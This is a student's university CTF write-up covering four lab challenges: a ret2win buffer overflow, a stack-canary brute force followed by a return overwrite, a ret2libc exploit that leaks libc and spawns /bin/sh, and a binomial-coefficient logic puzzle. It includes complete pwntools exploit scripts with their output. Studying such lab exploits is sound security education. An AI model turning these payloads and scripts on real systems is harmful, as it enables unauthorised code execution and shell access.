CTF Write-Up - 3

March 12, 2026

CS 431

Computer and Network Security
Prof. Abhishek Bichhawat

Indian Institute of Technology Gandhinagar
Palaj, Gandhinagar - 382355

CTF 3 (UName: 22110089)

Submitted by

Guntas Singh Saran (22110089)
Computer Science and Engineering

Problem 9: BufferOverflow

Flag

`hello:)CS431{ctfX}`

Vulnerability:

The binary `vuln` contains a classical stack buffer overflow vulnerability. The program reads user input using the unsafe function `gets()`, which does not perform bounds checking on the destination buffer. Conceptually, the stack layout during execution is:

```
| Return Address |
| Saved RBP      |
| Buffer[N]      |
```

Since `gets()` does not limit the number of bytes read, an attacker can supply input longer than the allocated buffer. This allows overwriting the saved base pointer and eventually the return address on the stack.
The binary also contains a function called `win()` which prints the flag. Normally this function is never called during program execution. If the return address can be overwritten with the address of `win()`, execution will jump there after the function returns, revealing the flag. Thus the vulnerability is a **stack-based buffer overflow** enabling a **return-to-win (ret2win)** attack.

How I Exploited it:

- **Inspect the binary**: Using `gdb`, we listed the available functions:

  ```
  (gdb) info functions
  0x0000000000400570  _init
  0x00000000004005a0  puts@plt
  0x00000000004005b0  setresgid@plt
  0x00000000004005c0  __libc_start_main@plt
  0x00000000004005d0  fgets@plt
  0x00000000004005e0  __gmon_start__@plt
  0x00000000004005f0  gets@plt
  0x0000000000400600  fflush@plt
  0x0000000000400610  getegid@plt
  0x0000000000400620  fopen@plt
  0x0000000000400630  _start
  0x0000000000400660  deregister_tm_clones
  0x0000000000400690  register_tm_clones
  0x00000000004006d0  __do_global_dtors_aux
  0x00000000004006f0  frame_dummy
  0x000000000040071d  win
  0x0000000000400773  vuln
  0x00000000004007ad  main
  0x0000000000400810  __libc_csu_init
  0x0000000000400880  __libc_csu_fini
  0x0000000000400884  _fini
  ```

  This revealed the function:

```
0x40071d win
```

- **Determine buffer size**: Disassembling the vulnerable function:

```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
0x0000000000400773 <+0>: push   %rbp
0x0000000000400774 <+1>: mov    %rsp,%rbp
0x0000000000400777 <+4>: sub    $0xa0,%rsp
0x000000000040077e <+11>: lea    -0xa0(%rbp),%rax
0x0000000000400785 <+18>: mov    %rax,%rdi
0x0000000000400788 <+21>: callq  0x4005f0 <gets@plt>
0x000000000040078d <+26>: lea    -0xa0(%rbp),%rax
0x0000000000400794 <+33>: mov    %rax,%rdi
0x0000000000400797 <+36>: callq  0x4005a0 <puts@plt>
0x000000000040079c <+41>: mov    0x2008cd(%rip),%rax # 0x601070 <stdout@@GLIBC_2.2.5>
0x00000000004007a3 <+48>: mov    %rax,%rdi
0x00000000004007a6 <+51>: callq  0x400600 <fflush@plt>
0x00000000004007ab <+56>: leaveq
0x00000000004007ac <+57>: retq
End of assembler dump.
```

we have here the buffer space being allocated by going back in the stack:

```
0x400777 <+4>: sub $0xa0, %rsp
```

This indicates a buffer size of: `0xa0 = 160 bytes`. Hence to reach the return address we must overwrite:

- `buffer (160 bytes)`
- saved `RBP (8 bytes)`

Thus, the return address offset is: `160 + 8 = 168`

- **Construct payload**: `"A" * 168 + address_of_win (little endian)`
- **Run the exploit**

```
$ nc 10.0.118.104 4455
Welcome to the CTF Challenge!
You have access to the following tools:
  - gdb: Inspect and debug the 'vuln' binary.
  - vuln: Run the vulnerable binary.
  - nc: Test exploitation with netcat.
Explore the binary to find and exploit the vulnerability!
------------------------------------------------------------
python3 -c 'import sys;
sys.stdout.buffer.write(b"A"*168 + b"\x1d\x07\x40\x00\x00\x00\x00\x00")' | ./vuln
Enter a string:
AAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAA@
hello:)CS431{ctfX}
```

Problem 10: BufferOverflowCagedBird (Stack Canary Bypass)

Flag

`itsYOURcanary{helloCTF431}`

Vulnerability:

The second binary attempts to protect against buffer overflow attacks using a stack canary. **The canary is loaded from a file (`flag.txt`) and stored in memory**:

```
mov global_canary, %eax
mov %eax, -0x10(%rbp)
```

Later, the program verifies the integrity of the stack canary:

```
memcmp(stack_canary, global_canary, 4)
```

If the values differ, the program prints `"hacker detected!"` and exits.
However, the program leaks information through its behavior. If the canary is correct, execution continues normally. If incorrect, the program exits early. This allows an attacker to **brute-force the canary one byte at a time** using an oracle attack. Once the correct canary is discovered, the buffer overflow can be performed safely without triggering the protection.

Exploitation Steps:

1. Recover the stack canary using byte-wise brute force.
2. Craft a payload that preserves the canary and overwrites the return address to jump to the `win()` function.

Stage 1: Recovering the Canary

- **Inspect the binary**: Info the functions using `gdb` to understand the address of the `win()` function:

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x00000000004006e8  _init
....
0x0000000000400810  _start
.....
0x00000000004008d0  frame_dummy
0x00000000004008fd  win
0x0000000000400953  read_canary
0x0000000000400997  vuln
0x0000000000400aa5  main
0x0000000000400af0  __libc_csu_init
0x0000000000400b60  __libc_csu_fini
0x0000000000400b64  _fini
```

- **Inspect the `main()`**:

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400aa5 <+0>: push   %rbp
   ...
   0x0000000000400ab4 <+15>: callq  0x4007e0 <getegid@plt>
   ...
   0x0000000000400ace <+41>: callq  0x400760 <setresgid@plt>
   0x0000000000400ad3 <+46>: mov    $0x0,%eax
   0x0000000000400ad8 <+51>: callq  0x400953 <read_canary>
   0x0000000000400add <+56>: mov    $0x0,%eax
   0x0000000000400ae2 <+61>: callq  0x400997 <vuln>
   0x0000000000400ae7 <+66>: mov    $0x0,%eax
   0x0000000000400aec <+71>: leaveq
   0x0000000000400aed <+72>: retq
End of assembler dump.
```

  1. The function `read_canary()` loads a random canary value.
  2. The vulnerable function `vuln()` is executed.

- **Understand the `vuln()` and `read_canary()`**: disassemble the functions:

```
(gdb) disassemble read_canary
Dump of assembler code for function read_canary:
   0x0000000000400953 <+0>: push   %rbp
   ..
   0x000000000040095b <+8>: mov    $0x400b78,%esi
   0x0000000000400960 <+13>: mov    $0x400b7a,%edi
   0x0000000000400965 <+18>: callq  0x4007f0 <fopen@plt>
   ..
   0x000000000040097f <+44>: mov    $0x6010a9,%edi
   0x0000000000400984 <+49>: callq  0x400740 <fread@plt>
   ...
   0x0000000000400990 <+61>: callq  0x400750 <fclose@plt>
   0x0000000000400995 <+66>: leaveq
   0x0000000000400996 <+67>: retq
End of assembler dump.
(gdb) x/s 0x400b7a
0x400b7a: "flag.txt"
(gdb) x/s 0x400b78
0x400b78: "r"
```

```
(gdb) disassemble vuln
Dump of assembler code for function vuln:
..
0x000000000040099b <+4>: sub    $0x120,%rsp
0x00000000004009a2 <+11>: movl   $0x0,-0x4(%rbp)
0x00000000004009a9 <+18>: mov    0x2006fa(%rip),%eax  # 0x6010a9 <global_canary>
0x00000000004009af <+24>: mov    %eax,-0x10(%rbp)
0x00000000004009b2 <+27>: mov    $0x400b88,%edi
0x00000000004009b7 <+32>: callq  0x400730 <puts@plt>
0x00000000004009bc <+37>: jmp    0x4009f6 <vuln+95>
0x00000000004009be <+39>: mov    -0x4(%rbp),%eax
0x00000000004009c1 <+42>: cltq
0x00000000004009c3 <+44>: lea    -0x110(%rbp),%rdx
0x00000000004009ca <+51>: add    %rdx,%rax
0x00000000004009cd <+54>: mov    $0x1,%edx
0x00000000004009d2 <+59>: mov    %rax,%rsi
0x00000000004009d5 <+62>: mov    $0x0,%edi
0x00000000004009da <+67>: callq  0x400770 <read@plt>
0x00000000004009df <+72>: mov    -0x4(%rbp),%eax
0x00000000004009e2 <+75>: cltq
0x00000000004009e4 <+77>: movzbl -0x110(%rbp,%rax,1),%eax
0x00000000004009ec <+85>: cmp    $0xa,%al
0x00000000004009ee <+87>: jne    0x4009f2 <vuln+91>
0x00000000004009f0 <+89>: jmp    0x4009fc <vuln+101>
0x00000000004009f2 <+91>: addl   $0x1,-0x4(%rbp)
0x00000000004009f6 <+95>: cmpl   $0x7f,-0x4(%rbp)
0x00000000004009fa <+99>: jle    0x4009be <vuln+39>
0x00000000004009fc <+101>: lea    -0x114(%rbp),%rdx
0x0000000000400a03 <+108>: lea    -0x110(%rbp),%rax
0x0000000000400a0a <+115>: mov    $0x400bcf,%esi
0x0000000000400a0f <+120>: mov    %rax,%rdi
0x0000000000400a12 <+123>: mov    $0x0,%eax
0x0000000000400a17 <+128>: callq  0x4007d0 <__isoc99_sscanf@plt>
0x0000000000400a1c <+133>: mov    $0x400bd2,%edi
0x0000000000400a21 <+138>: callq  0x400730 <puts@plt>
0x0000000000400a26 <+143>: mov    0x200673(%rip),%rax # 0x6010a0 <stdout@@GLIBC_2.2.5>
0x0000000000400a2d <+150>: mov    %rax,%rdi
0x0000000000400a30 <+153>: callq  0x4007c0 <fflush@plt>
0x0000000000400a35 <+158>: mov    -0x114(%rbp),%eax
0x0000000000400a3b <+164>: movslq %eax,%rdx
0x0000000000400a3e <+167>: lea    -0x90(%rbp),%rax
0x0000000000400a45 <+174>: mov    %rax,%rsi
0x0000000000400a48 <+177>: mov    $0x0,%edi
0x0000000000400a4d <+182>: callq  0x400770 <read@plt>
0x0000000000400a52 <+187>: lea    -0x10(%rbp),%rax
0x0000000000400a56 <+191>: mov    $0x4,%edx
0x0000000000400a5b <+196>: mov    $0x6010a9,%esi
0x0000000000400a60 <+201>: mov    %rax,%rdi
0x0000000000400a63 <+204>: callq  0x400790 <memcmp@plt>
0x0000000000400a68 <+209>: test   %eax,%eax
0x0000000000400a6a <+211>: je     0x400a80 <vuln+233>
0x0000000000400a6c <+213>: mov    $0x400be8,%edi
0x0000000000400a71 <+218>: callq  0x400730 <puts@plt>
0x0000000000400a76 <+223>: mov    $0xffffffff,%edi
0x0000000000400a7b <+228>: callq  0x400800 <exit@plt>
0x0000000000400a80 <+233>: mov    $0x400bf9,%edi
0x0000000000400a85 <+238>: callq  0x400730 <puts@plt>
0x0000000000400a8a <+243>: mov    $0xa,%edi
0x0000000000400a8f <+248>: callq  0x400720 <putchar@plt>
0x0000000000400a94 <+253>: mov    0x200605(%rip),%rax # 0x6010a0 <stdout@@GLIBC_2.2.5>
...
End of assembler dump.
```

So it can be reconstructed as (I took ChatGPT's help for the same):

```
void vuln()
{
    char input[0x110];
    char buffer[0x90];
    int length;
    int i = 0;
    int canary = global_canary;

    puts("Go ahead, try to overflow me!");

    while (i <= 0x7f) {
        read(0, &input[i], 1);

        if (input[i] == '\n')
            break;

        i++;
    }

    sscanf(input, "%d", &length);

    puts("Now enter the string");

    read(0, buffer, length);

    if (memcmp(&canary, &global_canary, 4) != 0) {
        puts("hacker detected!");
        exit(-1);
    }

    puts("You said something");
}
```

The program reads a user-controlled length and then reads that many bytes into a buffer located at `rbp - 0x90`. The stack canary is located at `rbp - 0x10`. Distance between buffer and canary: `0x90 - 0x10 = 128 bytes`. Thus, the canary begins at offset 128. The program compares only four bytes using `memcmp`. The program also reveals whether the canary is correct by printing an error message when it fails. This allows the canary to be brute-forced one byte at a time.

- Determine the offset from the buffer to the canary (128 bytes).
- Guess the canary value byte-by-byte.
- Send payloads and observe whether the program prints `"hacker detected!"`.
- When the guess is correct, the program continues execution.
- Repeat until all four bytes of the canary are recovered.

- **Running the brute force attack**:

```
from pwn import *
from tqdm import tqdm

canary = b""
def try_guess(prefix, guess):
    p = remote("10.0.118.104", 4456)
    p.sendline(b"./vuln")
    payload = b"A"*128 + prefix + bytes([guess])
    p.sendline(str(len(payload)).encode())
    p.recvuntil(b"Now enter the string")
    p.send(payload + b"\n")
    out = p.recvall(timeout=1)
    p.close()
    return b"hacker detected" not in out

for i in range(4):
    found = False
    for guess in tqdm(range(256), desc=f"Byte {i+1}/4"):
        if try_guess(canary, guess):
            canary += bytes([guess])
            print("found:", hex(guess))
            found = True
            break
    if not found:
        print("Failed at byte", i+1)
        break
print("CANARY =", canary)
========================================
$ python 6-canary-1.py
Byte 1/4:  41%|  | 105/256 [01:49<02:37,  1.04s/it]
found: 0x69
Byte 2/4:  45%|  | 116/256 [02:00<02:25,  1.04s/it]
found: 0x74
Byte 3/4:  45%|  | 115/256 [01:59<02:26,  1.04s/it]
found: 0x73
Byte 4/4:  35%|  | 89/256 [01:32<02:53,  1.04s/it]
found: 0x59
CANARY = b‘itsY’
```

Stage 2: Constructing the Overflow

- **Stack layout**:

```
buffer (128 bytes)
canary (4 bytes)
padding (12 bytes)
saved rbp (8 bytes)
return address
```

  Offset to the return address: `128 + 4 + 12 + 8 = 152`. Additionally, because of `x86-64` ABI stack alignment requirements, a `ret` gadget was inserted before jumping to `win()`.

- **Final Payload and Exploit Script**: The payload is `"A"*128 + "itsY" + "B"*12 + "C"*8 + ret_gadget + win_address`

```
from pwn import *
p = remote("10.0.118.104", 4456)
p.sendline(b"./vuln")
canary = b"itsY"
payload  = b"A"*128
payload += canary
payload += b"B"*12
payload += b"C"*8
payload += p64(0x400aa4)  # ret gadget (stack alignment)
payload += p64(0x4008fd)  # win()
p.sendline(str(len(payload)).encode())
p.recvuntil(b"Now enter the string")
p.send(payload)
p.interactive()
========================================
$ python 6-canary-2.py
[+] Opening connection to 10.0.118.104 on port 4456: Done
[*] Switching to interactive mode


You said something

itsYOURcanary{helloCTF431}
/bin/bash: line 1:  7474 Segmentation fault      (core dumped) ./vuln
$
[*] Interrupted
[*] Closed connection to 10.0.118.104 port 4456
```

Problem 11: Smash Challenge

Flag

`cns431ctf{0oops_5up32_m4210_5m45h_8202}`

Vulnerability:

The provided binary `hello` is a 32-bit ELF executable with the following security properties:

```
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No
```

Since the binary has **no stack canary** and **no PIE**, stack-based buffer overflow attacks are feasible and the addresses of functions inside the binary remain constant across executions. The program asks the user for their name and prints a greeting. The relevant vulnerable function is:

```
void say_hello(char *name)
{
    char buffer[128];

    strcpy(buffer, name);
    printf("Hello, ");
    printf(buffer);
    puts("!");
}
```

1. **Stack Buffer Overflow** - `strcpy()`: The function copies user input into a fixed-size buffer using `strcpy`. Since `strcpy` performs no bounds checking, inputs larger than 128 bytes overwrite stack metadata such as the saved base pointer and return address. Total padding needed to reach the return address: `128 + 4 = 132 bytes`. Again similar to the first problem:

   ```
   | Return Address (4 bytes)   |
   | Saved EBP      (4 bytes)   |
   | Buffer[0..127] (128 bytes) |
   ```

2. **Format String Vulnerability**: The program calls `printf(buffer)` instead of `printf("%s", buffer)`. This allows arbitrary stack reads using format specifiers.

Exploitation Strategy:

The binary is dynamically linked and NX is enabled, meaning injected shellcode cannot be executed. And since we are also provided with a `libc-2.23.so`, a return-to-libc: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2l attack is used.
The obstacle is that the **`libc` base address is randomised by ASLR** at every run. We must first **leak** the real address of a `libc` function, compute the base, then call `system("/bin/sh")`.

Stage 1: Leak a libc Address

The goal of the first stage is to leak the runtime address of a libc function. This is necessary because Address Space Layout Randomization (ASLR) randomizes the base address of libc. The exploit overwrites the return address so that the program calls:

```
puts(puts@GOT)
```

This prints the actual runtime address of `puts` from the Global Offset Table (GOT) [Source: https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got]. The stack is crafted as follows:

Padding (132 bytes)
puts@plt
main
puts@got

- `puts(puts@got)` prints the real address of `puts`
- Control returns to `main`
- The program asks for input again

Using the leaked address, the base address of `libc` is computed as:

```
libc_base = puts_leak - offset(puts)
```

Stage 2: Return-to-libc Shell

After calculating the `libc` base address, the addresses of `system` and the string `"/bin/sh"` inside `libc` are determined:

```
addr(system) = libc_base + offset(system)
addr("/bin/sh") = libc_base + offset("/bin/sh")
```

A second buffer overflow is performed with the following stack layout:

Padding (132 bytes)
system
exit
"/bin/sh"

This causes the program to execute: `system("/bin/sh")`, which spawns a shell. Wherein we could easily run:

```
$ ls
flag.txt
hello
start.sh

$ cat flag.txt
cns431ctf{0oops_5up32_m4210_5m45h_8202}
```

How I exploited it:

- **Identify fixed addresses (no PIE)**: Every address in the `hello` binary is **the same on every run**. So from the `hello` binary we can extract these addresses as:

```
(gdb) info functions
0x08048424  _init
...
0x080484c0  puts@plt    # PLT stub that calls puts via GOT
0x080484d0  __libc_start_main@plt
...
0x080485fb  say_hello
0x08048639  main        # we return here after Stage 1 leak
...
========================================
$ objdump -R hello
hello:     file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
...
0804a024 R_386_JUMP_SLOT   puts@GLIBC_2.0   # GOT entry for puts
```

  Now we need the `libc` **symbol offsets** (constant inside the given `libc-2.23.so` build):

```
$ readelf -s libc-2.23.so | grep -E " puts@@| system@@| exit@@"
  434: 0005f150  puts@@GLIBC_2.0
 1457: 0003a950  system@@GLIBC_2.0
  141: 0002e7c0  exit@@GLIBC_2.0

$ strings -a -t x libc-2.23.so | grep "/bin/sh"
 15912b /bin/sh
```

  The same could also be performed using the `pwntools` python library:

```
from pwn import *

elf  = ELF('./bin/hello',)
libc = ELF('./bin/libc-2.23.so')

# Fixed addresses (no PIE)
puts_plt  = elf.plt['puts']   # 0x080484c0
puts_got  = elf.got['puts']   # 0x0804a024

puts_symb   = libc.symbols['puts']           # 0x0005f150
system_symb = libc.symbols['system']         # 0x0003a950
exit_symb   = libc.symbols['exit']           # 0x0002e7c0
binsh_symb  = next(libc.search(b'/bin/sh'))  # 0x0015912b
```

- **Stage 1: Leak the real `puts` address**: As discussed we send 132-byte padding followed by a fake stack frame that calls `puts@PLT` with `puts@GOT` as the argument, then returns to `main`. `puts(puts@GOT)` will print the **4 raw bytes** stored at the GOT entry (= the real runtime address of `puts`) followed by a newline. From there we can compute the real `libc` base.

```
esp -> | puts@PLT  |  # popped into eip  (execution jumps to puts)
       | main_addr |  # puts will ret here
       | puts@GOT  |  # puts reads this as its argument
```

- **Stage 2: Call `system("/bin/sh")`**: After the Stage 1 `ret` chain, execution has looped back to `main`, which prints `"What's your name?"` again. We send a second payload as described above with the stack layout:

```
esp -> | system    |  # eip jumps here
       | exit      |  # system returns here (clean exit)
       | "/bin/sh" |  # system's first argument
```

- Final Exploit Script:

```
from pwn import *

elf  = ELF('./bin/hello',)
libc = ELF('./bin/libc-2.23.so')

# Fixed addresses (no PIE)
puts_plt  = elf.plt['puts']   # 0x080484c0
puts_got  = elf.got['puts']   # 0x0804a024
main_addr = 0x08048639        # start of main (for looping back)

# Distance from buffer start to saved return address:
#   add $0xffffff80,%esp  →  sub 0x80 (128) bytes for buffer
#   + 4 bytes for saved EBP
OFFSET = 128 + 4  # = 132

# Stage 1: leak the real puts address
io = remote('10.0.118.104', 3377)
io.recvuntil(b"What's your name?\n")

#  [132 A's] [puts@plt] [main] [puts@got]
#            ^ret addr  ^puts  ^arg to puts
payload1  = b'A' * OFFSET
payload1 += p32(puts_plt)   # overwrite ret addr -> call puts@plt
payload1 += p32(main_addr)  # puts' return addr  -> loop back to main
payload1 += p32(puts_got)   # puts' argument     -> &puts@GOT (holds real addr)

io.sendline(payload1)
```

```
# say_hello prints: "Hello, " + printf(buffer) output + "!\n"
# then control reaches our forged ret -> puts(puts@GOT) -> 4 leak bytes + "\n"
io.recvuntil(b'!\n')

puts_real   = u32(io.recvn(4))
libc_base   = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
exit_addr   = libc_base + libc.symbols['exit']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))

log.info(f'puts      @ {hex(puts_real)}')
log.info(f'libc base @ {hex(libc_base)}')
log.info(f'system    @ {hex(system_addr)}')
log.info(f'/bin/sh   @ {hex(binsh_addr)}')

# Stage 2: system("/bin/sh")
io.recvuntil(b"What's your name?\n")

#  [132 A's] [system] [exit] ["/bin/sh"]
payload2  = b'A' * OFFSET
payload2 += p32(system_addr)  # ret -> system
payload2 += p32(exit_addr)    # system's ret -> clean exit
payload2 += p32(binsh_addr)   # system's arg -> "/bin/sh"

io.sendline(payload2)
io.interactive()
========================================
$ python 7-hello.py
[+] Opening connection to 10.0.118.104 on port 3377: Done
[*] puts      @ 0xf7dbe150
[*] libc base @ 0xf7d5f000
[*] system    @ 0xf7d99950
[*] /bin/sh   @ 0xf7eb812b
[*] Switching to interactive mode
Hello, AAA..AAAAAAP\x99\xd9\xf7\xc0\xd7\xd8\xf7+\x81\xeb\xf7!
$ ls
flag.txt
hello
start.sh
$ cat flag.txt
cns431ctf{Ooops_5up32_m4210_5m45h_8202}
$
[*] Interrupted
[*] Closed connection to 10.0.118.104 port 3377
```

Problem 12: Triangle Challenge

Flag

`cns431ctf{YEAH!y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}`

Vulnerability:

The provided binary `triangle` generates a random integer and then repeatedly accepts integer inputs from the user. The program contains several functions: `display_number`, `f`, `C`, `process`, and `main`. The overall control flow is as follows:

1. The function `main` seeds the random number generator using the current time and calls `display_number(15,20)`.
2. The function `display_number` generates and prints a random number between the bounds provided. This value is returned to `main`.
3. The returned number is passed as an argument to the function `process`.
4. The function `process` then expects the user to input a sequence of integers.

The key logic of the program lies inside the function `process`. For each index i from 0 to n, where n is the random number generated earlier, the program:

1. Reads an integer from the user using `scanf`.
2. Computes a value using the function `C(n, i)` - this function uses `f(n)`.
3. Compares the computed value with the integer provided by the user.

The function `C(n,i)` computes the binomial coefficient:

$$C(n,i) = \frac{n!}{i!(n-i)!}$$

This computation relies on the helper function `f(x)`, which calculates the factorial of x. If all user-provided integers match the computed binomial coefficients for $i = 0$ to n, the program sets a **success flag**. At the end of the loop, if the flag remains true, the program executes `system("cat flag.txt")` which reveals the flag. Thus, the challenge is not a memory corruption vulnerability but a logical challenge requiring the correct sequence of binomial coefficients.

How I exploited it:

- **Function List**: Using `gdb` functions were listed:

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000400650  _init
...
0x00000000004007f0  frame_dummy
0x0000000000400816  display_number
0x000000000040085a  f
0x0000000000400895  C
```

```
0x00000000004008e8  process
0x000000000040097e  main
...
0x0000000000400a84  _fini
```

- **Inspect `display_number, f, C, process, main`**: Utilizing, `(gdb) disassemble <function>` the underlying assembly was revealed which in turn revealed the logic and expected series of input that the `process` function demanded.
- **Script for exploiting**:

```
from pwn import *
from math import comb

p = remote("10.0.118.104",6464)

n = int(p.recvline().strip())
print("n =", n)

for i in range(n+1):
    p.sendline(str(comb(n,i)).encode())

p.interactive()
========================================
$ python 8-triangle.py
[+] Opening connection to 10.0.118.104 on port 6464: Done
n = 18
[*] Switching to interactive mode
cns431ctf{YEAH!y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}
[*] Got EOF while reading in interactive
```